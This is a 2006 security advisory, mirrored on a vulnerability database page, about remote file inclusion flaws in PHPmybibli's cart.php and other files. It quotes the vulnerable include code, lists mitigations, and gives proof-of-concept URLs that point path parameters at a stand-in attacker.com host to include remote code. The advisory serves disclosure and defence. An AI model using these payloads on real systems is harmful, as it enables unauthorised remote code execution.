Lucene search
K

PHPmybibli <= 3.0.1 Multiple Remote File Inclusion Vulnerabilities

🗓️ 17 Oct 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

PHPmybibli <= 3.0.1 RFI Vulnerabilitie

Code

                                                ____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_55$2006

-----------------------------------------------------------------------------------------------
[ECHO_ADV_55$2006]Phpmybibli  &lt;=2.1  Multiple Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: October, 17th 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv55-theday-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: PHPmybibli
version		: &lt;=2.1
URL		: http://www.pizz.net/

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

I found vulnerability script cart.php
--------------------------cart.php---------------------------------------
....
&lt;?

  include_once(&quot;$include_path/cart.inc.php&quot;);
  include_once(&quot;$include_path/templates/cart.tpl.php&quot;);
  include_once(&quot;$include_path/isbn.inc.php&quot;);
  include_once(&quot;$include_path/expl_info.inc.php&quot;);
  include_once(&quot;$include_path/bull_info.inc.php&quot;);
  include_once(&quot;$include_path/notice_authors.inc.php&quot;);
  include_once(&quot;$include_path/notice_categories.inc.php&quot;);
  include_once(&quot;$include_path/explnum.inc.php&quot;);
  include_once(&quot;$class_path/cart.class.php&quot;);
  include_once(&quot;$class_path/caddie.class.php&quot;);
  include_once(&quot;$class_path/author.class.php&quot;);
  include_once(&quot;$class_path/collection.class.php&quot;);
  include_once(&quot;$class_path/subcollection.class.php&quot;);
  include_once(&quot;$class_path/mono_display.class.php&quot;);
  include_once(&quot;$class_path/serie.class.php&quot;);
  include_once(&quot;$class_path/serial_display.class.php&quot;);
  include_once(&quot;$class_path/serials.class.php&quot;);
  include_once(&quot;$class_path/editor.class.php&quot;);
  require_once(&quot;$class_path/emprunteur.class.php&quot;);
  require_once(&quot;$javascript_path/misc.inc.php&quot;);
...
----------------------------------------------------------

Input passed to the &quot;$include_path&quot; parameter in cart.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

edit.php
circ.php
index.php
select.php
etc..

Proof Of Concept:
~~~~~~~~~~~~~~

http://target.com/[phpmybibli_path]/index.php?class_path=http://attacker.com/inject.txt?
http://target.com/[phpmybibli_path]/edit.php?javascript_path=http://attacker.com/inject.txt?
http://target.com/[phpmybibli_path]/circ.php?include_path=http://attacker.com/inject.txt?

Solution:
~~~~~~

- Sanitize variable $class_path,$javascript_path,$include_path on affected files.
- Turn off register_globals


---------------------------------------------------------------------------

Shoutz:
~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ [email protected]
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~
     EcHo Research &amp; Development Center
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-10-17]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation